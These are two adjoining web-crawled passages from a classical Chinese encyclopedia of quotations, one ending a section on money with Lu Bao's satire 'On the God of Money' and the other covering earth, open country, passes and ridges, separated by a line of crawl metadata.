. 外 有 宾 客 . 望 恩 者 多 . 林 父 子 食 禄 . 禄 出 常 有 盈 . 今 奉 钱 五 万 . 援 受 之 . 谓 儿 曰 . 当 以 此 为 法 . 林 所 以 胜 我 者 也 .\n又 曰 . 马 援 在 陇 西 . 上 书 曰 . 富 民 之 本 . 在 于 食 货 . 宜 如 旧 铸 五 铢 钱 . 天 下 赖 其 便 .\n又 曰 . 郑 均 兄 为 县 游 击 . 受 礼 遗 . 均 数 谏 止 . 不 听 . 即 脱 身 出 作 . 岁 余 . 得 数 万 钱 . 归 以 与 兄 . 曰 . 钱 尽 可 复 得 . 为 吏 坐 赃 . 终 身 捐 弃 . 兄 感 其 语 . 遂 有 廉 洁 称 .\n汝 南 先 贤 传 曰 . 平 舆 阚 敞 . 为 郡 五 官 掾 . 太 守 弟 五 常 被 征 . 以 奉 钱 百 三 十 万 寄 敞 . 敞 埋 置 堂 上 . 后 常 举 家 患 死 . 唯 有 孤 孙 九 岁 . 临 死 语 云 . 吾 有 钱 三 十 万 . 寄 掾 阚 敞 . 孙 长 大 来 求 敞 . 敞 见 之 悲 喜 . 取 钱 尽 还 之 . 孙 曰 . 祖 唯 言 三 十 万 尔 . 今 乃 百 三 十 万 . 诚 不 敢 当 . 敞 曰 . 府 君 疾 困 . 谬 言 尔 . 郎 君 无 疑 .\n郭 子 曰 . 王 夷 甫 雅 尚 玄 远 . 又 疾 其 妇 贪 . 口 未 尝 言 钱 . 妇 欲 试 之 . 夜 令 婢 以 钱 绕 床 . 不 得 行 . 夷 甫 晨 起 . 见 钱 阂 之 . 命 婢 举 阿 堵 物 .\n世 说 曰 . 王 武 子 移 第 近 北 芒 . 于 时 人 多 地 贵 . 武 子 好 马 射 . 买 地 作 埒 . 编 钱 布 地 竟 埒 . 时 号 金 沟 .\n地 镜 图 曰 . 钱 铜 之 气 . 望 之 如 青 云 .\n【 书 】 后 汉 刘 騊 駼 上 书 谏 铸 钱 事 曰 . 夫 食 者 乃 有 国 之 大 宝 . 生 民 之 至 贵 也 . 见 比 年 以 来 . 良 苗 尽 于 蝗 螟 之 口 . 杼 柚 空 于 公 私 之 求 . 野 无 青 草 . 室 如 悬 磬 . 所 急 朝 夕 之 餐 . 所 患 靡 盬 之 事 . 岂 谓 钱 之 锲 薄 . 铢 两 轻 重 哉 . 就 使 当 令 土 砾 化 为 南 金 . 瓦 卤 变 为 和 玉 . 沙 石 悉 成 随 珠 . 犬 羊 尽 作 狐 白 . 绛 绣 盈 堂 . 文 绮 缦 野 . 使 百 姓 渴 无 所 饮 . 饥 无 所 食 . 虽 牺 皇 之 纯 德 . 大 禹 之 勤 劳 . 周 文 之 不 暇 . 犹 不 能 以 保 萧 墙 之 内 .\n【 启 】 梁 简 文 帝 谢 敕 赐 解 讲 钱 启 曰 . 无 劳 磁 石 之 火 . 金 货 猥 臻 . 非 游 玉 垒 之 川 . 铜 山 可 见 . 舒 王 济 之 埒 . 犹 觉 有 余 . 假 刘 寔 之 绳 . 穿 而 不 尽 . 慧 轮 究 竟 . 爰 降 曲 私 . 福 田 成 满 . 仰 由 慈 被 . 荣 光 独 照 . 自 均 若 木 . 负 恩 知 重 . 窃 譬 蓬 莱 .\n又 谢 赐 钱 启 曰 . 殊 泽 隆 厚 . 造 次 被 蒙 . 重 彼 八 铢 . 珍 斯 九 法 . 赤 仄 成 采 . 出 自 水 衡 之 藏 . 绀 文 委 贯 . 忽 积 铜 扇 之 里 . 谨 长 充 放 生 . 用 济 含 识 . 发 弘 誓 愿 . 等 供 无 边 . 效 彼 薄 拘 . 均 兹 流 水 . 方 使 怖 鸽 获 安 . 穷 鱼 永 乐 .\n梁 刘 孝 威 婚 谢 晋 安 王 赐 钱 启 曰 . 孝 威 问 吉 已 通 . 请 期 有 日 . 而 贤 夫 之 誉 . 多 愧 张 耳 . 非 婿 之 才 . 偶 同 王 粲 . 睠 言 前 事 . 良 以 自 羞 . 曲 降 隆 慈 . 俯 垂 珍 锡 . 便 使 禽 贽 获 举 . 纁 币 有 资 . 佩 服 宠 灵 . 殒 越 非 报 .\n梁 任 孝 恭 谢 赉 钱 治 宅 启 曰 . 绳 枢 断 续 . 薄 雨 已 倾 . 席 户 穿 阑 . 微 风 自 卷 . 不 悟 恩 隆 问 舍 . 降 自 天 造 . 事 深 更 宅 . 乃 被 庸 微 . 跪 条 可 授 . 毁 垣 再 筑 . 遂 得 窗 临 上 路 . 户 望 东 家 . 人 悦 爽 垲 . 里 惊 轮 奂 . 门 学 于 公 . 逆 容 驷 马 . 巷 均 王 浚 . 豫 拟 幡 旗 .\n【 论 】 晋 鲁 褒 钱 神 论 曰 . 有 司 空 公 子 . 富 贵 不 齿 . 盛\n服 而 游 京 邑 . 驻 驾 乎 市 里 . 顾 见 綦 毌 先 生 . 班 白 而 徒 行\n. 公 子 曰 . 嘻 . 子 年 已 长 矣 . 徒 行 空 手 . 将 何 之 乎 . 先\n生 曰 . 欲 之 贵 人 . 公 子 曰 . 学 诗 乎 . 曰 . 学 矣 . 学 礼 乎\n. 曰 . 学 矣 . 学 易 乎 . 曰 . 学 矣 . 公 子 曰 . 诗 不 云 乎 .\n币 帛 筐 篚 . 以 将 其 厚 意 . 然 后 忠 臣 嘉 宾 . 得 尽 其 心 . 礼\n不 云 乎 . 男 贽 玉 帛 禽 鸟 . 女 贽 榛 栗 枣 脩 . 易 不 云 乎 . 随\n时 之 义 大 矣 哉 . 吾 视 子 所 以 . 观 子 所 由 . 岂 随 世 哉 . 虽\n曰 已 学 . 吾 必 谓 之 未 也 . 先 生 曰 . 吾 将 以 清 谈 为 筐 篚 .\n以 机 神 为 币 帛 . 所 谓 礼 云 礼 云 . 玉 帛 云 乎 哉 者 已 . 公 子\n拊 髀 大 笑 曰 . 固 哉 子 之 云 也 . 既 不 知 古 . 又 不 知 今 . 当\n今 之 急 . 何 用 清 谈 . 时 易 世 变 . 古 今 异 俗 . 富 者 荣 贵 .\n贫 者 贱 辱 . 而 子 尚 质 . 而 子 守 实 . 无 异 于 遗 剑 刻 舡 . 胶\n柱 调 瑟 . 贫 不 离 于 身 名 . 誉 不 出 乎 家 室 . 固 其 宜 也 . 昔\n神 农 氏 没 . 黄 帝 尧 舜 . 教 民 农 桑 . 以 币 帛 为 本 . 上 智 先\n学 变 通 之 . 乃 掘 铜 山 . 俯 视 仰 观 . 铸 而 为 钱 . 故 使 内 方\n象 地 . 外 员 象 天 . 钱 之 为 体 . 有 干 有 坤 . 其 积 如 山 . 其\n流 如 川 . 动 静 有 时 . 行 藏 有 节 . 市 井 便 易 . 不 患 耗 折 .\n难 朽 象 寿 . 不 匮 象 道 . 故 能 长 久 . 为 世 神 宝 . 亲 爱 如 兄\n. 字 曰 孔 方 . 失 之 则 贫 弱 . 得 之 则 富 强 . 无 翼 而 飞 . 无\n足 而 走 . 解 严 毅 之 颜 . 开 难 发 之 口 . 钱 多 者 处 前 . 钱 少\n者 居 后 . 诗 云 . 哿 矣 富 人 . 哀 哉 茕 独 . 岂 是 之 谓 乎 . 钱\n之 为 言 泉 也 . 百 姓 日 用 . 其 源 不 匮 . 无 远 不 往 . 无 深 不\n至 . 京 邑 衣 冠 . 疲 劳 讲 肆 . 厌 闻 清 谈 . 对 之 睡 寐 . 见 我\n家 兄 . 莫 不 惊 视 . 钱 之 所 佑 . 吉 无 不 利 . 何 必 读 书 . 然\n后 富 贵 . 由 是 论 之 . 可 谓 神 物 . 无 位 而 尊 . 无 势 而 热 .\n排 朱 门 . 入 紫 闼 . 钱 之 所 在 . 危 可 使 安 . 死 可 使 活 . 钱\n之 所 去 . 贵 可 使 贱 . 生 可 使 杀 . 是 故 忿 诤 辩 讼 . 非 钱 不\n胜 . 孤 弱 幽 滞 . 非 钱 不 拔 . 怨 仇 嫌 恨 . 非 钱 不 解 . 令 问\n笑 谈 . 非 钱 不 发 . 谚 曰 . 钱 无 耳 . 可 闇 使 . 岂 虚 也 哉 .\n又 曰 . 有 钱 可 使 鬼 . 而 况 于 人 乎 . 子 夏 云 . 死 生 有 命 .\n富 贵 在 天 . 吾 以 死 生 无 命 . 富 贵 在 钱 . 何 以 明 之 . 钱 能\n转 祸 为 福 . 因 败 为 成 . 危 者 得 安 . 死 者 得 生 . 性 命 长 短\n. 相 禄 贵 贱 . 皆 在 乎 钱 . 天 何 与 焉 . 天 有 所 短 . 钱 有 所\n长 . 四 时 行 焉 . 百 物 生 焉 . 钱 不 如 天 . 达 穷 开 塞 . 振 贫\n济 乏 . 天 不 如 钱 . 若 臧 武 仲 之 智 . 卞 庄 子 之 勇 . 冉 求 之\n艺 . 文 之 以 成 人 矣 . 今 之 成 人 者 何 必 然 . 唯 孔 方 而 已 .\n夫 钱 穷 者 使 通 达 . 富 者 能 使 温 暖 . 贫 者 能 使 勇 悍 . 故 曰\n. 君 无 财 则 士 不 来 . 君 无 赏 则 士 不 往 . 谚 曰 . 官 无 中 人\n. 不 如 归 田 . 虽 有 中 人 . 而 无 家 兄 . 何 异 无 足 而 欲 行 .\n无 翼 而 欲 翔 . 使 才 如 颜 子 . 容 如 子 张 . 空 手 掉 臂 . 何 所\n希 望 . 不 如 早 归 . 广 修 农 商 . 舟 车 上 下 . 役 使 孔 方 . 凡\n百 君 子 . 同 尘 和 光 . 上 交 下 接 . 名 誉 益 彰 .","id":"","dump":"CC-MAIN-2015-18","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl010.htm","date":"2015-04-18T19:29:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-18\/segments\/1429246636104.0\/warc\/CC-MAIN-20150417045716-00304-ip-10-235-10-82.ec2.internal.warc.gz","language":"lzh","language_score":0.9534906149,"language_script":"Hani","minhash_cluster_size":26,"top_langs":"{\"lzh_Hani_score\": 0.9534906148910522, \"cmn_Hani_score\": 0.026556463912129402, \"nan_Hani_score\": 0.019879646599292755}","num_words":65000,"character_repetition_ratio":0.013,"word_repetition_ratio":0.001,"special_characters_ratio":0.589,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":0.933,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"地 部 地 野 关 冈 岩 峡 石 尘\n黄 帝 素 问 曰 . 积 阴 为 地 . 故 地 者 浊 阴 也 .\n蔡 邕 月 令 章 句 曰 . 总 丘 陵 原 隰 阪 险 曰 地 .\n春 秋 元 命 苞 曰 . 地 者 易 也 . 言 养 物 怀 任 . 交 易 变 化 . 含 吐 应 节 . 故 其 立 字 . 土 力 于 乙 者 为 地 .\n河 图 括 地 象 曰 . 地 广 东 西 二 万 八 千 . 南 北 二 万 六 千 . 有 君 长 之 州 . 州 有 九 . 阻 中 土 之 文 德 . 及 而 不 治 .\n山 海 经 曰 . 帝 令 亥 . 步 自 东 极 . 至 于 西 极 . 五 亿 十 万 九 千 八 百 八 步 . 亥 左 手 把 筭 . 右 手 指 青 丘 北 .\n孝 经 援 神 契 曰 . 计 九 州 之 别 壤 . 山 陵 之 大 . 川 泽 所 注 . 莱 沮 所 生 . 鸟 兽 所 聚 . 九 百 一 十 一 万 八 千 二 十 四 顷 . 硗 埆 不 垦 者 千 五 百 万 二 千 顷 .\n易 曰 . 立 地 之 道 . 曰 柔 与 刚 .\n又 曰 . 在 地 成 形 .\n又 曰 . 坤 . 地 也 .\n礼 记 曰 . 孟 冬 之 月 . 地 始 冻 . 仲 春 之 月 . 地 始 坼 .\n又 曰 . 今 夫 地 . 一 撮 土 之 少 . 及 其 广 厚 . 载 华 岳 而 不 重 . 振 河 海 而 不 泄 . 而 万 物 载 焉 .\n周 官 曰 . 大 司 徒 . 掌 天 下 土 地 之 图 . 知 九 州 之 地 域 . 广 轮 之 数 . 辩 五 地 之 物 .\n乐 声 仪 曰 . 下 元 者 . 地 气 也 . 为 始 万 物 . 生 育 长 养 . 盖 藏 之 主 也 .\n春 秋 元 命 苞 曰 . 地 所 以 右 转 者 . 气 浊 精 少 . 含 阴 而 起 迟 . 故 转 右 迎 天 . 佐 其 道 .\n尔 雅 曰 . 东 至 泰 远 . 西 至 邠 国 . 南 至 濮 铅 . 北 至 祝 栗 . 谓 之 四 极 . 孤 竹 北 户 西 王 母 日 下 . 谓 之 四 荒 . 九 夷 八 狄 . 七 戎 六 蛮 . 谓 之 四 海 .\n老 子 曰 . 地 得 一 以 宁 . 地 无 以 宁 将 恐 发 .\n墨 子 曰 . 禽 子 问 天 与 地 孰 仁 . 墨 子 曰 . 翟 以 地 为 仁 . 太 山 之 上 . 则 封 禅 焉 . 培 塿 之 侧 . 则 生 松 柏 . 下 生 黍 苗 莞 蒲 . 水 生 鼋 鼍 龟 鱼 . 民 衣 焉 食 焉 . 家 焉 死 焉 . 地 终 不 责 德 焉 . 故 翟 以 地 为 仁 .\n孔 子 家 语 曰 . 子 夏 曰 . 商 闻 山 书 曰 . 地 东 西 为 纬 . 南 北 为 经 . 山 为 积 德 . 川 为 积 形 . 高 者 为 生 . 下 者 为 死 . 丘 陵 为 牝 . 溪 谷 为 牡 .\n【 启 】 梁 昭 明 太 子 谢 敕 赉 地 图 启 曰 . 汉 氏 舆 地 . 形 兹 未 拟 . 晋 世 方 丈 . 比 此 非 妙 . 疋 之 长 乐 . 唯 画 古 贤 . 俦 之 未 央 . 止 图 将 帅 . 未 有 洞 该 八 薮 . 混 观 六 合 . 域 中 天 外 . 指 掌 可 求 . 地 角 河 源 . 户 庭 不 出 . 岂 问 千 秋 . 自 识 乌 桓 之 地 . 脱 逢 庄 武 . 方 着 博 物 之 书 .\n【 论 】 晋 裴 秀 禹 贡 九 州 地 域 图 论 曰 . 图 书 之 设 . 由 来\n尚 矣 . 自 古 垂 象 立 制 而 赖 其 用 . 三 代 置 其 官 . 使 掌 其 职\n. 暨 汉 祖 屠 咸 阳 . 丞 相 萧 何 尽 收 秦 之 图 籍 . 今 秘 书 既 无\n古 今 之 地 图 . 又 无 萧 何 所 得 秦 图 书 . 唯 有 汉 氏 所 画 舆 地\n及 诸 杂 图 . 各 不 设 分 率 . 又 不 考 正 准 望 . 亦 不 备 载 名 山\n大 川 . 其 所 载 列 . 虽 有 粗 形 . 皆 不 精 审 . 不 可 依 据 . 或\n称 外 荒 迂 诞 之 言 . 不 合 事 实 . 于 义 无 取 . 今 制 地 图 之 体\n有 六 . 一 曰 分 率 . 所 以 辩 广 轮 之 度 也 . 二 曰 准 望 . 所 以\n正 彼 此 之 体 也 . 三 曰 道 里 . 所 以 定 所 由 之 数 也 . 四 曰 高\n下 . 五 曰 方 邪 . 六 曰 迂 直 . 此 六 者 各 因 地 而 制 形 . 所 以\n校 夷 险 之 故 也 . 有 图 象 而 无 分 率 . 则 无 以 审 远 近 之 差 .\n有 分 率 而 无 准 望 . 虽 得 之 于 一 隅 . 必 失 之 于 他 方 . 虽 有\n准 望 . 而 无 道 里 . 则 施 于 山 海 绝 隔 之 地 . 不 能 以 相 通 .\n有 道 里 而 无 高 下 方 邪 迂 直 之 校 . 则 径 路 之 数 . 必 与 远 近\n之 实 相 违 . 失 准 望 之 正 . 故 必 以 此 六 者 参 而 考 之 . 然 后\n远 近 之 实 . 定 于 分 率 . 彼 此 之 实 . 定 于 准 望 . 径 路 之 实\n. 定 于 道 里 . 度 数 之 实 . 定 于 高 下 方 邪 迂 直 之 筭 . 故 虽\n有 峻 山 巨 海 之 隔 . 绝 域 殊 方 之 迥 . 登 降 诡 曲 之 因 . 皆 可\n得 举 而 定 者 . 准 望 之 法 既 正 . 则 曲 直 远 近 . 无 所 隐 其 形\n也 .\n说 文 曰 . 野 . 郊 外 也 .\n山 海 经 曰 . 大 乐 之 野 . 夏 后 启 于 此 舞 九 代 马 . 事 具 兽 部 马 篇 .\n又 曰 . 都 广 之 野 . 后 稷 葬 焉 . 爰 有 黍 稷 . 百 谷 自 生 . 鸾 自 歌 . 凤 自 舞 . 灵 寿 宝 华 . 草 木 所 聚 .\n尚 书 曰 . 大 野 既 猪 . 东 原 底 平 .\n毛 诗 曰 . 我 行 其 野 . 蔽 芾 其 樗 . 婚 姻 之 故 . 言 就 尔 居 .\n左 传 曰 . 辛 有 适 伊 川 . 见 被 发 祭 于 野 者 . 曰 . 不 及 百 年 . 此 其 戎 乎 . 其 礼 先 亡 矣 .\n又 曰 . 晋 文 公 过 卫 . 出 于 五 鹿 . 乞 食 于 野 人 . 野 人 与 之 块 . 公 子 欲 鞭 之 . 子 犯 曰 . 天 赐 也 . 稽 首 受 而 载 之 .\n又 曰 . 裨 谌 能 谋 于 野 . 于 野 则 获 . 谋 于 国 则 否 . 郑 国 有 难 . 子 产 载 以 如 野 . 谋 四 国 之 事 .\n穆 天 子 传 曰 . 旷 原 之 野 . 飞 鸟 之 所 解 羽 .\n庄 子 曰 . 黄 帝 将 见 大 隗 于 具 茨 之 山 . 方 明 为 御 . 昌 宇 参 乘 . 至 于 襄 城 之 野 . 七 圣 皆 迷 . 无 所 问 涂 . 适 遇 牧 马 童 子 . 乃 问 涂 焉 . 事 具 帝 王 部 .\n又 曰 . 北 门 成 问 黄 帝 曰 . 帝 张 咸 池 之 乐 于 洞 庭 之 野 . 吾 始 闻 之 而 惧 . 后 闻 之 而 怠 . 卒 闻 之 而 惑 . 荡 荡 默 默 . 乃 不 自 得 .\n楚 辞 曰 . 独 不 见 鸾 凤 之 高 翔 于 大 皇 之 野 . 循 四 极 而 回 周 . 见 盛 德 而 下 .\n韩 诗 外 传 曰 . 孔 子 出 游 少 原 之 野 . 有 妇 人 哭 甚 哀 . 问 之 . 妇 人 曰 . 向 刈 蓍 薪 . 亡 吾 簪 . 是 以 哀 也 . 非 伤 亡 簪 . 不 忘 故 也 . 事 具 草 部 .\n帝 王 世 纪 曰 . 炎 帝 ○ 史 记 五 帝 本 纪 索 隐 引 作 黄 帝 . 戮 蚩 尤 于 中 ● . ○ 索 隐 作 冀 .\n名 其 地 曰 绝 辔 之 野 .\n幽 明 录 曰 . 桓 温 北 征 姚 襄 . 在 伊 水 上 . 许 逊 曰 . 不 见 得 襄 . 而 有 大 功 . 见 襄 走 入 太 玄 中 . 问 曰 . 太 玄 是 何 等 也 . 答 曰 . 南 为 丹 野 . 北 为 太 玄 . 必 西 北 走 也 . 果 如 言 .\n【 赞 】 晋 郭 璞 都 广 之 野 赞 曰 . 都 广 之 野 . 珍 怪 所 聚 .\n爰 有 羔 谷 . 鸾 歌 凤 舞 . 后 稷 托 终 . 乐 哉 斯 土 .\n礼 记 曰 . 仲 夏 之 月 . 关 市 无 索 .\n又 曰 . 古 者 关 讥 而 不 征 .\n蔡 邕 月 令 章 句 曰 . 关 在 境 . 所 以 察 出 御 入 .\n左 传 曰 . 臧 文 仲 不 仁 者 三 . 废 六 关 .\n孟 子 曰 . 古 之 为 关 也 . 将 以 御 暴 也 . 今 之 为 关 也 . 将 以 为 暴 也 .\n燕 丹 子 曰 . 燕 丹 去 秦 . 夜 到 关 . 关 门 未 开 . 丹 为 鸡 鸣 . 众 鸡 皆 鸣 . 遂 得 逃 归 .\n史 记 曰 . 秦 昭 王 囚 孟 尝 君 . 孟 尝 君 变 姓 名 . 夜 半 至 函 谷 关 . 关 法 . 鸡 鸣 出 客 . 孟 尝 君 恐 追 至 . 客 居 下 坐 者 . 能 为 鸡 鸣 . 于 是 群 鸡 皆 鸣 . 遂 出 关 .\n战 国 策 曰 . 中 山 与 燕 赵 为 王 . 齐 闭 关 不 通 中 山 之 使 . 其 言 曰 . 我 万 乘 之 国 也 . 中 山 千 乘 国 也 . 何 侔 名 于 我 乎 .\n楚 汉 春 秋 曰 . 沛 公 西 入 武 关 . 居 于 灞 上 . 遣 将 军 闭 函 谷 关 . 无 内 项 王 . 项 王 大 将 亚 父 至 关 . 不 得 入 . 怒 曰 . 沛 公 欲 反 耶 . 即 令 家 发 薪 一 束 . 欲 烧 关 门 . 关 门 乃 开 .\n列 仙 传 曰 . 关 令 尹 喜 . 周 大 夫 也 . 善 内 学 . 老 子 西 游 . 先 见 其 气 . 知 真 人 当 过 . 物 色 而 遮 之 . 果 得 老 子 . 与 俱 之 流 沙 . 事 具 仙 部 .\n汉 书 曰 . 秦 王 子 婴 . 诛 灭 赵 高 . 遣 将 将 兵 距 峣 关 . 沛 公 欲 击 之 . 张 良 曰 . 秦 尚 强 . 未 可 轻 . 愿 先 遣 人 益 张 旗 帜 于 山 上 . 为 疑 兵 . 使 郦 食 其 陆 贾 往 说 秦 将 . 啖 以 利 . 秦 将 果 欲 连 和 . 因 而 攻 之 .\n又 曰 . 景 帝 四 年 春 . 复 置 诸 关 . 用 传 出 入 .\n又 曰 . 武 帝 三 年 冬 . 徙 函 谷 于 新 安 .\n又 曰 . 终 军 初 从 济 南 尝 诣 博 士 . 入 关 . 关 吏 与 军 繻 . 军 问 以 此 何 为 . 吏 曰 . 为 复 传 还 . 当 以 合 符 . 军 曰 . 大 丈 夫 西 游 . 终 不 复 传 还 . 弃 繻 去 . 后 军 为 谒 者 . 使 行 郡 国 . 建 节 东 出 关 . 关 吏 识 之 . 曰 . 此 使 者 乃 前 弃 繻 生 也 .\n东 观 汉 记 曰 . 隗 嚣 将 王 元 谓 嚣 曰 . 请 以 一 丸 泥 . 为 大 王 东 封 函 谷 关 . 此 万 世 一 时 也 .\n又 曰 . 郭 丹 初 之 长 安 . 从 宛 人 陈 洮 买 入 关 符 . 以 入 函 谷 关 . 既 入 . 封 符 乞 人 . 曰 . 不 乘 使 者 车 不 出 关 . 丹 自 从 入 关 后 . 不 归 家 十 二 年 . 后 奉 使 乃 出 关 . 竟 如 本 心 .\n又 曰 . 李 恂 饷 遗 无 所 受 . 处 新 安 关 下 . 拾 橡 实 为 食 .\n吴 越 春 秋 曰 . 伍 子 胥 与 太 子 建 子 胜 俱 奔 吴 . 夜 行 昼 伏 . 出 到 昭 关 . 关 吏 欲 执 之 . 胥 因 诈 曰 . 上 之 所 以 索 我 者 . 以 我 有 美 珠 也 . 今 我 已 亡 之 矣 . 我 将 告 子 欲 取 之 . 关 吏 因 舍 焉 .\n吴 书 . 陆 凯 奏 曰 . 臣 愚 以 西 陵 国 之 关 首 . 宜 重 其 备 . 备 重 则 敌 不 敢 轻 . 轻 备 则 为 敌 所 侮 .\n何 祯 集 曰 . 以 正 始 六 年 . 为 弘 农 太 守 . 表 省 崤 关 曰 . 易 称 王 公 设 险 以 守 其 国 . 孟 轲 云 . 古 者 关 讥 而 不 征 . 关 险 之 设 . 所 由 尚 矣 .\n段 国 沙 州 记 曰 . 龙 涸 北 四 十 里 . 有 白 马 关 . 关 甚 险 峻 . 使 十 人 固 险 . 虽 万 夫 亦 不 能 前 .\n【 诗 】 陈 周 弘 正 入 武 关 诗 曰 . 武 关 设 地 险 . 游 客 好 邅 回 . 将 军 天 上 落 . 童 子 弃 繻 来 . 挥 汗 成 云 雨 . 车 马 漾 尘 埃 . 鸡 鸣 不 可 信 . 未 晓 莫 先 开 .\n【 赋 】 后 汉 李 尤 函 谷 关 赋 曰 . 尔 迺 周 览 以 泛 观 . 历 众 关 以 游 目 . 惟 迂 阔 之 显 丽 . 羌 莫 盛 乎 函 谷 . 施 雕 砻 以 作 好 . 建 峻 敞 之 坚 重 . 殊 中 外 以 隔 别 . 翼 巍 巍 之 高 崇 . 命 尉 臣 以 执 钥 . 统 群 类 之 所 从 . 严 固 守 之 猛 厉 . 操 戈 钺 而 普 聪 . 蕃 镇 造 而 惕 息 . 侯 伯 过 而 震 惶 . 惟 函 谷 之 初 设 险 . 前 有 姬 之 苗 流 . 睢 背 魏 而 西 逝 . 托 衾 衣 以 免 搜 . 大 汉 承 獘 以 建 德 . 革 厥 旧 而 运 脩 . 准 令 宜 以 就 制 . 因 兹 势 . 以 立 基 . 盖 可 以 诈 非 司 邪 . 栝 执 喉 咽 . 季 末 荒 戍 . 堕 阙 有 年 . 天 闵 群 黎 . 命 我 圣 君 . 稽 符 皇 干 . 孔 适 河 文 . 中 兴 再 受 . 二 祖 同 勋 . 永 平 承 绪 . 钦 明 奉 循 . 上 罗 三 关 . 下 列 九 门 .\n【 铭 】 后 汉 李 尤 函 谷 关 铭 曰 . 函 谷 险 要 . 襟 带 喉 咽 .\n尹 从 李 老 . 留 作 二 篇 . 孟 尝 离 秦 . 奔 骛 东 征 . 夜 造 稽 疑\n. 谲 以 鸡 鸣 . 范 睢 将 入 . 自 盛 以 囊 . 元 鼎 革 移 . 错 之 新\n安 . 舍 彼 西 阻 . 东 即 高 原 . 长 墉 重 阁 . 闲 固 不 逾 . 简 易\n易 从 . 与 干 合 符 .\n毛 诗 曰 . 陟 彼 高 冈 . 我 马 玄 黄 .\n地 理 志 曰 . 秦 望 气 者 云 . 东 南 有 天 子 气 . 使 赭 衣 徒 凿 云 阳 县 北 冈 . 改 名 曲 阿 .\n又 曰 . 天 门 零 阳 县 有 半 石 岗 . 岗 上 有 石 . 名 仙 人 楼 .\n山 谦 之 丹 阳 记 曰 . 句 容 县 东 三 十 里 . 有 龙 岗 . 岗 顶 有 龙 沸 潭 . 周 十 三 丈 . 闻 人 声 . 水 便 沸 动 . 常 日 则 不 动 .\n刘 桢 京 口 记 曰 . 城 北 四 十 余 里 . 有 小 岗 . 高 二 丈 许 . 有 人 鼻 形 . 着 岗 西 头 . 有 口 在 上 . 而 鼻 在 下 . 方 圆 数 尺 . 状 如 燋 土 . 古 老 相 传 . 因 名 下 鼻 . 今 无 复 鼻 . 厥 口 犹 在 .\n王 韶 之 始 兴 记 曰 . 郡 西 南 有 芙 蓉 岗 . 高 若 玉 山 . 邻 枕 郊 郭 . 可 四 十 余 里 .\n又 曰 . 含 洭 县 白 鹿 城 南 . 有 白 鹿 岗 . 晋 咸 和 中 . 县 令 张 鲂 . 有 德 惠 . 白 鹿 群 游 岗 上 . 因 以 为 名 .\n雷 次 宗 豫 章 记 曰 . 洪 井 西 有 鸾 岗 . 旧 说 . 洪 崖 先 生 乘 鸾 所 憩 之 处 也 .\n顾 征 广 州 记 曰 . 四 会 县 有 金 岗 . 行 人 往 往 见 金 于 岗 侧 .\n裴 氏 广 州 记 曰 . 城 北 有 马 鞍 岗 . 秦 时 . 瞻 气 者 言 南 方 有 天 子 气 . 始 皇 发 民 凿 破 北 岗 . 地 中 出 血 . 凿 处 犹 在 . 增 城 县 有 云 母 冈 . 日 出 . 照 之 晃 曜 .\n武 昌 记 曰 . 城 北 有 冈 . 高 数 丈 . 名 为 凤 阙 . 其 处 显 敞 胜 阙 . 以 望 川 泽 . 多 所 远 瞻 . 吴 黄 龙 元 年 . 有 凤 皇 集 此 冈 . 故 谓 之 凤 阙 . 凤 阙 南 十 里 . 有 金 牛 冈 . 古 老 相 传 云 . 有 金 牛 出 此 冈 . 冈 今 半 崩 . 坑 深 数 丈 . 牛 践 堈 边 . 遗 迹 尚 存 .\n王 孚 安 城 ○ 太 平 御 览 十 作 成 . 记 曰 . 萍 乡 西 津 里 南 五 里 山 . 名 玉 女 冈 . 天 气 当 雨 . 水 辄 先 涌 出 . 石 开 而 有 五 色 玄 黄 . 百 姓 谓 之 玉 女 披 衣 .\n邓 德 明 南 康 记 曰 . 陈 蕃 墓 有 青 龙 冈 . 土 人 传 云 . 昔 见 一 物 . 龙 形 而 通 身 纯 青 . 数 出 此 冈 顶 . 故 因 以 为 名 青 龙 也 .\n又 曰 . 赣 县 有 马 脊 冈 . 其 形 如 马 脊 . 故 以 为 名 也 .\n衡 山 记 曰 . 衡 山 有 曾 青 冈 . 出 曾 青 . 可 合 仙 药 . 有 灵 寿 冈 . 多 灵 寿 木 .\n图 墓 书 曰 . 冢 前 左 右 有 小 冈 如 投 筭 . 相 连 数 里 . 名 为 导 引 冈 . 葬 之 出 富 贵 .\n又 曰 . 经 言 葬 遇 沉 冈 . 远 至 二 十 年 . 皆 绝 世 无 后 . 葬 遇 浮 冈 . 随 世 沉 浮 . 着 土 必 安 . 终 无 灾 厄 . 葬 遇 飞 冈 . 弈 世 富 贵 . 亦 出 神 仙 .\n【 诗 】 宋 谢 灵 运 入 华 子 冈 麻 原 第 三 谷 诗 曰 . 南 州 实 炎 德 . 桂 树 凌 寒 山 . 铜 陵 映 碧 涧 . 石 磴 写 红 泉 . 既 枉 隐 沦 客 . 亦 栖 肥 遁 贤 . 遂 登 群 峰 首 . 邈 若 胜 云 烟 . 羽 人 绝 髣 佛 . 丹 丘 徒 空 荃 . 图 牒 复 磨 灭 . 碑 板 谁 闻 传 . 莫 辨 百 代 后 . 安 知 千 载 前 . 且 申 独 往 意 . 乘 月 弄 潺 湲 .\n【 赋 】\n宋 傅 亮 登 龙 冈 赋 曰 . 静 潜 处 以 永 念 . 聊 驾 言 以 写 忧 .\n蒙 旭 露 而 夙 轸 . 税 余 辔 于 龙 丘 . 南 临 平 隰 . 西 际 荒 畴 .\n比 宇 连 甍 . 幽 榛 四 周 . 眺 江 都 之 广 澨 . 究 川 陆 之 回 脩 .\n羡 翔 羽 之 嬉 林 . 乐 绿 苹 之 在 流 . 乘 清 漪 以 泛 滥 . 翳 稠 枚\n而 命 仇 . 信 遂 生 之 有 所 . 何 怵 迫 于 人 尤 .\n寻 阳 记 曰 . 赤 山 崖 峻 壁 上 多 灵 岩 . 生 仙 菜 . 村 人 恒 采 之 也 .\n嵩 高 山 记 曰 . 少 室 山 大 岩 中 . 有 一 石 室 . 云 有 自 然 经 书 . 自 然 饮 食 . 室 前 有 一 石 柱 . 象 承 露 盘 . 上 有 石 脂 . 滴 滴 流 下 . 服 之 一 合 . 寿 与 天 地 同 毕 .\n盛 弘 之 荆 州 记 曰 . 平 乐 县 有 山 . 临 水 . 岩 间 有 两 目 . 如 人 眼 . 极 大 . 瞳 子 白 黑 分 明 . 名 为 目 岩 .\n又 曰 . 始 兴 机 山 东 . 有 两 岩 相 向 . 如 鸱 尾 . 石 室 数 十 所 . 经 过 